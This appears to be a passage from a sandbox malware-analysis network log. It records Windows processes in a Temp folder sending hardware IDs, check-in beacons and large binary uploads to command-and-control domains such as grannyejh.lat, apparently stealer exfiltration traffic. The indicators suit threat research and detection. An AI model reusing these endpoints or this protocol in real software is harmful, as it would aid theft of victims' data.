2024-12-18 16:09:12 UTC	1033	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=otih989e7p3j8ou8i98v1lohu9; expires=Sun, 13-Apr-2025 09:55:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ve2DN8v4hvsrmjEKWfh1dASkfhNCC5TmICXlIFteR%2BJ36lZr0RiT977V0%2BC5yo6%2FX8wxBb8eid4ptkxHW0MGdrTvgwH72D26x4nhD%2BB9dJH3076y1ioUSYUU9E5k0hCS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f406a786a83435c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1796&min_rtt=1794&rtt_var=674&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2831&recv_bytes=14144&delivery_rate=1627647&cwnd=248&unsent_bytes=0&cid=0be85e56f1cfc7e0&ts=902&x=0"
2024-12-18 16:09:12 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 16:09:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49940	172.67.179.109	443	2008	C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:09:15 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=P8O9W3BDJWFTVMEE7WG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8790 Host: grannyejh.lat
2024-12-18 16:09:15 UTC	8790	OUT	Data Raw: 2d 2d 50 38 4f 39 57 33 42 44 4a 57 46 54 56 4d 45 45 37 57 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 50 38 4f 39 57 33 42 44 4a 57 46 54 56 4d 45 45 37 57 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 50 38 4f 39 57 33 42 44 4a 57 46 54 56 4d 45 45 37 57 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 Data Ascii: --P8O9W3BDJWFTVMEE7WGContent-Disposition: form-data; name="hwid"8B2BACE9145C30D4AC8923850305D13E--P8O9W3BDJWFTVMEE7WGContent-Disposition: form-data; name="pid"2--P8O9W3BDJWFTVMEE7WGContent-Disposition: form-data; name="lid"PsFKDg--pa
2024-12-18 16:09:16 UTC	1028	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=95gje2kufu780k28faf2482nul; expires=Sun, 13-Apr-2025 09:55:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KfD491ZDTAdu1GPdSvOHFXROOQSDJQxyRE5f%2FZo7g6B87RDJwPL77hGrnwn%2FauI5wHYo7pCDLxL8wXonjXBZmD7Knu3QeYsfJ1fsh1VfmBpcphni1ZNKBO59Iv4DcMAZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f406a8f783b0fa4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1698&min_rtt=1698&rtt_var=638&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2829&recv_bytes=9727&delivery_rate=1712609&cwnd=176&unsent_bytes=0&cid=86fafb63f35baa4c&ts=829&x=0"
2024-12-18 16:09:16 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 16:09:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49945	104.21.23.76	443	6816	C:\Users\user\AppData\Local\Temp\1016970001\05ca246288.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:09:16 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: pancakedipyps.click
2024-12-18 16:09:16 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 16:09:17 UTC	1042	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=72pqkppclfjlp5hrf6e5auen9e; expires=Sun, 13-Apr-2025 09:55:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Fip7ImZc1wOBRCxbxbUkI9CKUr%2BG1g3sqOYgxg6i0oPcIeBIWr9VKd37Kpw%2Bz9a69%2FZ5JSon3BO83z8EWln5lNV2PcQ%2FqiFt%2BnMQ%2FsGXi2JxcorJ90SuNYJj9XmDbAUpUHPUWqNA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f406a9b0ea64384-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1771&min_rtt=1734&rtt_var=725&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=910&delivery_rate=1434889&cwnd=234&unsent_bytes=0&cid=708caaaed9e35b37&ts=843&x=0"
2024-12-18 16:09:17 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 16:09:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49955	172.67.179.109	443	2008	C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:09:19 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AIU4IGY1F4S8L User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20407 Host: grannyejh.lat
2024-12-18 16:09:19 UTC	15331	OUT	Data Raw: 2d 2d 41 49 55 34 49 47 59 31 46 34 53 38 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 41 49 55 34 49 47 59 31 46 34 53 38 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 41 49 55 34 49 47 59 31 46 34 53 38 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 41 49 55 34 49 47 59 31 46 34 53 Data Ascii: --AIU4IGY1F4S8LContent-Disposition: form-data; name="hwid"8B2BACE9145C30D4AC8923850305D13E--AIU4IGY1F4S8LContent-Disposition: form-data; name="pid"3--AIU4IGY1F4S8LContent-Disposition: form-data; name="lid"PsFKDg--pablo--AIU4IGY1F4S
2024-12-18 16:09:19 UTC	5076	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2024-12-18 16:09:20 UTC	1036	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=enlsu2816p1i1h82r1blp5mgod; expires=Sun, 13-Apr-2025 09:55:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r8LvyJw0n494mz0rOb9mHG62bFG42wP2WxAG%2BoQa97WQ7ZXD4M2Kf9bR4RKupT%2F%2Bqx0QVX%2F1Kfn1xP536V1uJeM5PgeNSx13EpkQcYo0h5SpgbxWIbQZjkWXNANr%2FzQi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f406aabaf7c8c6f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1955&min_rtt=1827&rtt_var=942&sent=14&recv=26&lost=0&retrans=0&sent_bytes=2831&recv_bytes=21361&delivery_rate=1023125&cwnd=213&unsent_bytes=0&cid=1a321ef9fb68a472&ts=908&x=0"
2024-12-18 16:09:20 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 16:09:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49973	172.67.179.109	443	2008	C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:09:24 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=5RYXGOAOOC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1281 Host: grannyejh.lat
2024-12-18 16:09:24 UTC	1281	OUT	Data Raw: 2d 2d 35 52 59 58 47 4f 41 4f 4f 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 35 52 59 58 47 4f 41 4f 4f 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 35 52 59 58 47 4f 41 4f 4f 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 35 52 59 58 47 4f 41 4f 4f 43 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --5RYXGOAOOCContent-Disposition: form-data; name="hwid"8B2BACE9145C30D4AC8923850305D13E--5RYXGOAOOCContent-Disposition: form-data; name="pid"1--5RYXGOAOOCContent-Disposition: form-data; name="lid"PsFKDg--pablo--5RYXGOAOOCContent-
2024-12-18 16:09:24 UTC	1027	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ep0f74en6sanpaqu6ssqod86vp; expires=Sun, 13-Apr-2025 09:56:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Kjg5paoai5AmuQ7%2FIHBMMxH9SqV0yTVMlzPBbZColnKbpwKmkBwF7Z4o8n0z8nwgvTYbolW5Vih4rvGzLYYZ3i7z6vAXZ8R2vHCb3yprIjg0GOxLI5aYLh3Ug6oFW%2FXM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f406ac76e52de93-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1692&min_rtt=1692&rtt_var=634&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=2187&delivery_rate=1724748&cwnd=248&unsent_bytes=0&cid=8812a3daacc0f2a6&ts=780&x=0"
2024-12-18 16:09:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 16:09:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50013	172.67.179.109	443	2008	C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:09:31 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1XKAUSM2RB94Y User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 569343 Host: grannyejh.lat
2024-12-18 16:09:31 UTC	15331	OUT	Data Raw: 2d 2d 31 58 4b 41 55 53 4d 32 52 42 39 34 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 31 58 4b 41 55 53 4d 32 52 42 39 34 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 31 58 4b 41 55 53 4d 32 52 42 39 34 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 31 58 4b 41 55 53 4d 32 52 42 39 Data Ascii: --1XKAUSM2RB94YContent-Disposition: form-data; name="hwid"8B2BACE9145C30D4AC8923850305D13E--1XKAUSM2RB94YContent-Disposition: form-data; name="pid"1--1XKAUSM2RB94YContent-Disposition: form-data; name="lid"PsFKDg--pablo--1XKAUSM2RB9
2024-12-18 16:09:31 UTC	15331	OUT	Data Raw: 29 5f 07 db dc fe 5e a7 e6 5d d5 3f 44 72 40 e2 d2 08 73 e2 94 2b a2 4a 3f d5 7b c5 d6 57 a8 5d 6b a5 bc a2 90 3d d0 6f 25 f2 31 89 be b6 79 2f ac 4e e9 5f 45 0c 5d 87 55 6d 5a 78 ed 4f 07 6d f4 f6 ab 31 42 7e c2 e2 9d 86 91 15 6d a6 c5 54 13 47 5f e3 cd 2f 68 cd cf d6 47 23 d4 c7 10 c3 0f 7d c3 c6 88 3f 1e e1 16 e2 c1 08 aa 75 82 37 7f 74 0f c3 28 6e e7 ae 34 e9 1a 44 62 3f d2 bf 76 86 d0 7b 20 0a f6 91 9c 11 62 30 51 a7 27 d7 c5 7a 0a 06 22 98 22 24 75 fd 49 23 80 b1 3d 56 86 3b 45 a1 39 ca 1b 1b 44 84 db 11 5e 26 5a ab 32 7a 96 2c e0 e8 ef f0 b6 90 e0 96 24 a6 07 05 3f e2 de 8e d0 fc 7c 63 c4 36 56 63 44 f9 75 e7 15 56 c6 15 6b b6 1d 43 26 96 73 db e7 d9 2c 7c 2f f9 d8 cd 57 d5 3e 60 54 3b df 82 2c f3 79 77 fd 39 7f 22 49 89 aa 38 18 28 30 45 cb d5 72 Data Ascii: )_^]?Dr@s+J?{W]k=o%1y/N_E]UmZxOm1B~mTG_/hG#}?u7t(n4Db?v{ b0Q'z""$uI#=V;E9D^&Z2z,$?\|c6VcDuVkC&s,\|/W>`T;,yw9"I8(0Er
2024-12-18 16:09:31 UTC	15331	OUT	Data Raw: ad 35 e9 07 ee ae f8 db 0d 36 19 2f e3 b6 a5 cb 44 21 0e 9e 67 3e d7 79 54 82 50 67 5c ca c5 73 64 57 2e 3e 1b b6 dc 76 bf 35 f7 8c c3 e4 53 0b 59 2b a0 75 af 3b 3d 0d 26 a0 7e 3c a7 fb 08 5e fd b0 fc 6d 9f c3 e6 21 ae f1 78 45 71 e9 25 8c a5 ed eb 3f 15 79 4d c6 b3 03 67 c9 69 0b b9 d5 0b 36 ac 49 32 af ac 82 3d 14 34 58 5f b3 55 14 14 38 ba 5b cf 75 28 fc 3e c4 34 16 e5 76 0d 1e 19 f1 f3 ff bc 91 16 75 c3 1e ae b9 c3 fb 79 90 fd 24 ed de ae e0 8a e8 73 fe 9e 5f 66 e3 d5 bd 96 42 d5 f3 f5 9c bd 1d 12 6d 6e 9f 0d 6e df b7 e0 38 3d a1 51 5e d6 bb 53 32 fa 5b de a9 01 e2 50 a5 09 a8 e8 7d fa e1 ae 86 d3 bd a2 a0 91 16 27 af 1a 4e 36 d9 9b 98 ca 0e 29 b9 be fe c8 08 6c af 3f a8 d2 06 4e c1 9d 1f ec 8a fe fb d0 bf 18 1f 74 7d 30 88 f5 5c e7 1e a2 d9 b3 95 ff Data Ascii: 56/D!g>yTPg\sdW.>v5SY+u;=&~<^m!xEq%?yMgi6I2=4X_U8[u(>4vuy$s_fBmnn8=Q^S2[P}'N6)l?Nt}0\
2024-12-18 16:09:31 UTC	15331	OUT	Data Raw: 0c d6 7d ba 92 40 b2 93 79 3e 9c 40 e4 ef 82 02 e2 50 8d e3 ac 29 16 39 3a 0e 0d a5 ae b8 66 33 a6 f5 8b 57 b0 ef 14 ac 9d 2b d4 41 93 64 d8 ba a1 3c c1 c2 a8 a3 a4 d1 b5 c4 47 9b 8b 59 78 a1 77 6d 2a cf a8 1b 59 bf 78 48 78 ed 7c b7 6b 56 c6 40 1d b6 b0 94 6f 45 06 24 fe 51 f0 43 5d 02 4d ae 25 32 e8 ae 54 44 f7 43 d3 20 9e ad 3b 39 09 64 d3 10 cf 15 d5 ac 8c 5a 52 29 e7 96 03 b1 2b f7 0a 70 7b e6 7f 5a 6d a4 64 d4 e0 6d aa c9 a8 e7 85 a7 44 ea f7 0a 83 27 26 c9 c6 af 06 25 1d ad 5c 0e 91 9b 0b be b9 f0 20 37 d4 85 f2 b6 0b aa f2 3e f2 68 69 27 b3 ed 70 e8 b1 82 68 ab 18 a1 24 b5 22 55 77 e5 4e fa 63 c5 97 7c 41 47 b5 98 ca d1 e6 db 8a 24 ab e5 9e 2f a1 8c 36 8f fe 5c 94 b5 dd bf ed af 46 7e 7a e5 a0 e7 82 46 6f 71 36 2d 1e 06 b2 57 1c 8c f4 06 ab 0f 7b Data Ascii: }@y>@P)9:f3W+Ad<GYxwm*YxHx\|kV@oE$QC]M%2TDC ;9dZR)+p{ZmdmD'&%\ 7>hi'ph$"UwNc\|AG$/6\F~zFoq6-W{
2024-12-18 16:09:31 UTC	15331	OUT	Data Raw: c3 f0 62 3f 17 1b 7e 33 5f 9d b0 27 9e 5e 8a 8f d2 00 f7 cf 69 33 ad 4e 18 e9 de e5 8c 23 18 bb b9 33 95 58 65 de 45 19 9c 46 a5 09 3e 38 0b 37 1a af e0 6b 2b ac 4d d4 9c b2 aa 09 e8 10 21 a5 0b 4b ae ea c6 cd 1b aa f2 99 a6 b4 fb bb 19 59 b9 05 e9 a7 c9 6e 7d 54 9e 9d 62 fb 17 a7 90 eb e7 3c d8 bf 5c 45 11 84 bf 77 9f 12 5c 37 2e ba 66 44 d3 82 5b 48 0c a3 63 90 e4 52 c9 0a 07 8b ee e1 6b d6 56 6b 5d 31 1c 03 e7 26 93 27 d8 a3 92 8e 6c 41 13 92 3d 8f 48 f9 ab b6 84 f7 8e 2d 8b 91 cb 20 33 4d 34 77 8e fe c4 5c 3d fd 2c b7 e3 59 17 38 e3 55 69 72 88 4c 25 5c 8d 47 b5 08 ff 07 03 5b 5e 23 2c 98 82 ab 11 25 8d 1b 1b cb fd 7e 24 19 24 59 92 1f 87 ab ad bf 5d 41 be 6f dc 50 1d 96 bd 47 9e 9c cf e6 4d da 96 12 bc f0 f7 3e 5a 29 44 a9 a0 63 da 9f 46 63 01 e9 f6 Data Ascii: b?~3_'^i3N#3XeEF>87k+M!KYn}Tb<\Ew\7.fD[HcRkVk]1&'lA=H- 3M4w\=,Y8UirL%\G[^#,%~$$Y]AoPGM>Z)DcFc
2024-12-18 16:09:31 UTC	15331	OUT	Data Raw: 64 70 e5 1b 45 b8 e3 f4 2c 9e 30 b6 35 be d1 d4 10 eb 67 bb ea c4 4f 9d 75 ef 87 bd 05 47 0e 45 42 ec b1 f5 aa c7 b9 60 2e 01 66 0a 2a cc 8f ef a6 f6 35 ad 31 d1 0a a4 7d 12 99 a7 9c fa d4 52 f8 0f 05 b9 ed 18 98 94 0f 3d b4 80 5a 13 f8 64 18 81 55 96 10 7d 1f 13 bf c7 a4 91 3f cf d3 e9 57 ef 5a 30 c6 3b a1 35 3d 97 d3 26 52 57 ba 1e 38 d3 d8 b0 5e 8f 86 95 68 ae f6 91 3d 32 99 97 15 be ba 20 7c 3d dc f5 58 4e e2 4a 6d 57 f6 93 a8 a2 b5 30 5c cd de 65 fe 9c 74 72 9c 10 b5 00 2c ec be 4b 6d fb af 56 c2 49 1d 5f e1 a0 7e 9b 7e 0f bb 20 8b b9 93 20 ef 6a 1f a5 5b 25 95 ed b3 74 e2 75 e0 96 9f 62 c7 5d 14 87 2a e2 9f c0 bf f3 f1 1f 4a e2 b1 64 70 db 30 9b d5 d0 d8 ab 72 81 ff e3 79 2a c1 46 f2 1a 74 e5 b7 e4 29 27 6d 9c 97 fc 5e c7 58 e1 a8 11 04 76 e5 9e 34 Data Ascii: dpE,05gOuGEB`.f51}R=ZdU}?WZ0;5=&RW8^h=2 \|=XNJmW0\etr,KmVI_~~ j[%tub]Jdp0ry*Ft)'m^Xv4
2024-12-18 16:09:31 UTC	15331	OUT	Data Raw: a6 c5 6f 32 2b 30 96 be 80 d3 63 67 3f a8 a4 3e b9 bd ba ef c1 ca 0d 7a 23 a5 80 dd 01 bd 38 69 a2 35 bb d1 d8 5d db 1d 42 47 bf 47 6b ee 57 d4 bc 03 b2 fd 5e 18 5e fd 18 1e 28 f8 e8 08 06 26 87 2a 36 8a 08 0d 3d a7 c7 7d 53 d0 de d3 50 da 53 32 3d bb c7 44 5d 41 09 bc 46 5b 8e 42 a8 cf 9e 71 d3 86 fc 60 7c 24 9c de 34 a6 51 4f fd 7e 94 3a 9b ab c9 16 a6 c8 b6 38 06 25 53 84 29 76 f2 a1 12 e0 e4 9b 5c b6 6e 15 52 6a 6a fc a0 b9 2e 21 f7 97 f0 f9 c5 8a 9f a4 68 cd 07 93 42 ca 6f e9 27 64 83 f9 16 48 fc 35 46 08 d5 be ba 2b ca 87 77 16 82 6f e1 28 66 bd a1 7f 39 94 2c 27 09 a5 a6 2f a5 52 ab 10 c7 73 59 31 94 fc fb 3b 15 60 9d 75 6d a4 41 c7 0d 23 56 e4 73 86 04 28 fb fb f9 6c 0b a3 88 7e de 9c bd fc d7 0b cc 6a f0 86 34 a2 88 bc 10 4e 14 43 aa 9d c2 96 3c Data Ascii: o2+0cg?>z#8i5]BGGkW^^(&*6=}SPS2=D]AF[Bq`\|$4QO~:8%S)v\nRjj.!hBo'dH5F+wo(f9,'/RsY1;`umA#Vs(l~j4NC<
2024-12-18 16:09:31 UTC	15331	OUT	Data Raw: fc 7a 6f cc 03 9a fc 4a 9b a4 5f e6 74 40 0f 23 44 99 12 95 a0 25 5e 25 01 6b 91 ab b6 0a 16 7c 13 0f 48 fb af 91 38 fe 25 00 dd 02 bc 84 c8 3e bb 21 a2 33 0c 3b 51 75 f7 7d 91 ab 4a 89 db 1b 08 9e 44 46 e4 55 8e 97 75 ec cc 38 6e 5e 0e 8a 40 ed cc 3c 86 29 58 5d 47 fa e9 eb 2c c6 5c a8 22 3c fb 34 9f 2b 0c ea e7 ff 2e 22 ca 11 fb cf 89 30 5f 55 5b e1 a9 04 b1 e1 66 d7 19 11 30 d5 06 a5 28 01 a5 5b c6 ed bf f0 6a 42 0b 02 64 0c 1b eb 40 1c 43 28 b2 83 87 e7 9b f9 9e cf 52 35 f6 53 06 ab e8 59 99 f5 5b 89 b0 59 00 3e ae 2a 4c 64 40 0a b0 1a 5a 60 ae d4 e0 eb c4 db b8 28 31 f0 da 88 d0 86 4a 7f c8 7d 78 56 85 e1 82 60 6c d7 fa 25 fc e5 cf 99 e1 f1 fa 75 6e 61 f8 83 86 40 92 6d cb ee 5f ab b4 cf cf 5a ca bc af fa 6d 01 3b fa ff 7b 41 bb b8 1a a0 f4 9f 11 f0 Data Ascii: zoJ_t@#D%^%k\|H8%>!3;Qu}JDFUu8n^@<)X]G,\"<4+."0_U[f0([jBd@C(R5SY[Y>*Ld@Z`(1J}xV`l%una@m_Zm;{A
